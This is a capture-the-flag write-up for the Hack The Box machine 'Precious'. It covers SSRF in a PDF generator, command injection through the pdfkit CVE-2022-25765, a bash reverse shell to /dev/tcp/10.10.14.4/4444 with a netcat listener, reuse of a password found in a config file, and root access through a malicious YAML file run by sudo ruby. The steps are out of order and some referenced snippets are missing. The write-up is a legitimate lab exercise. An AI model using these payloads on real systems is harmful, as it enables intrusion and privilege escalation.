Hackthebox - Precious
Last updated
Last updated
Let's change our /etc/hosts file to add the host precious.htb
We land here when going to http://precious.htb/
Nothing here
Now we just need to put this in our html file
So to recap we have burp repeater that will query our server to fetch the html file. The html will then query our php that will query the etc/passwd from our target. Let's try this. I am having troube with the builtin php server, so I am just going to use Apache2.
sudo systemctl enable apache2 to enable it
sudo systemctl start apache2 to start it
SPOILER ALERT: None of this worked. But I left it here because the articles were interesting and it is an overview of the process when working on CTF. You go through a lot of rabbit holes.
Turns out that I saw after it is also using pdfkit. Let's have a look at exploit related to pdfkit v0.8.6
We find a CVE for this version of pdfkit CVE-2022-25765
Let's try http://10.10.14.4/?name=#{'%20sleep 5'}
There seem to be a delay for the server to respond.
Let's try to get a shell using this method
We set a listener rlwrap nc -lvp 4444
I tried the following commands from my repeater /bin/bash -i >& /dev/tcp/10.10.14.4/4444 0>&1 and bash -i >& /dev/tcp/10.10.14.4/4444 0>&1 but was not successful
We need to move to the user because we got ruby. if we ls on /home we also have user henry. This is the one we should move to.
Here are interestin files to look at that we found with linpeas
Indeed the file .bundle/config contains a password for Henry
We can then su henry and access the user via the password we found.
we can grab the user flag
Let's ssh as henry ssh henry@10.10.11.189
We run linpeas again with our new user. Here are things worth investigating
Here is the content of the update_dependencies.rb file
This means that it is looking for the dependencies. We could create a malicious yml file and put it in Henri's home. The path is not defined in the script so it will look in Henri's home. Let's hope that it works...
The script above does not work and we get no errors.
So to recap:
I used the code above and put it in file named dependencies.yml in Henri's home folder.
I set a listener on port 4444
Then when I launched sudo /usr/bin/ruby /opt/update_dependencies.rb I got a root shell
We can grab the root flag.
Playing around with burp we find that we are not able to generate a pdf with an url but if we try special chars we can generate a pdf.
See this one for example
So it is blank at the moment but still it is a start.
We can see that it uses wkhtmltopdf version 0.12.6
We can google it to see if it has known exploits
We find this cve: see also and this seems worth reading.
We have an ssrf vulnerability. If we set up a simple http server with python we are able to see the requests coming. Here is burp with our ip to request
Here is the traffic in our http server
Let's try to go further now that we can see that we have a possible interaction. Ideally we would like to be able to execute code in the server to gain access.
While looking around I stumbled on that is really good.
For the last part of the article we need a webserver that can handle php. We can use php because it has a built in webserver.
This should do the trick php -S 127.0.0.1:80 -t .
Let's try the snippet from the article
If we go to http://localhost we should see the Apache default page like this
Now we just need to move or copy our php and html files to /var/www/html
We are almost there, except that the iframe does not show the file we want it prints the php instead.
It is probably because the remote server does not handle php.
We did see that it uses ruby.
Let's see if we have something similar in ruby.
Another interesting about vulnerabilities in pdf converters
is interesting
This seems to work
We need a symbol safe shell, we can find one
bash -c 'bash -i >& /dev/tcp/10.10.14.4/4444 0>&1'
It works and we get a shell
The sudo -l seems interesting
If we launch the command we get this error
We can try this script that I found
The one that did it is the one I found in
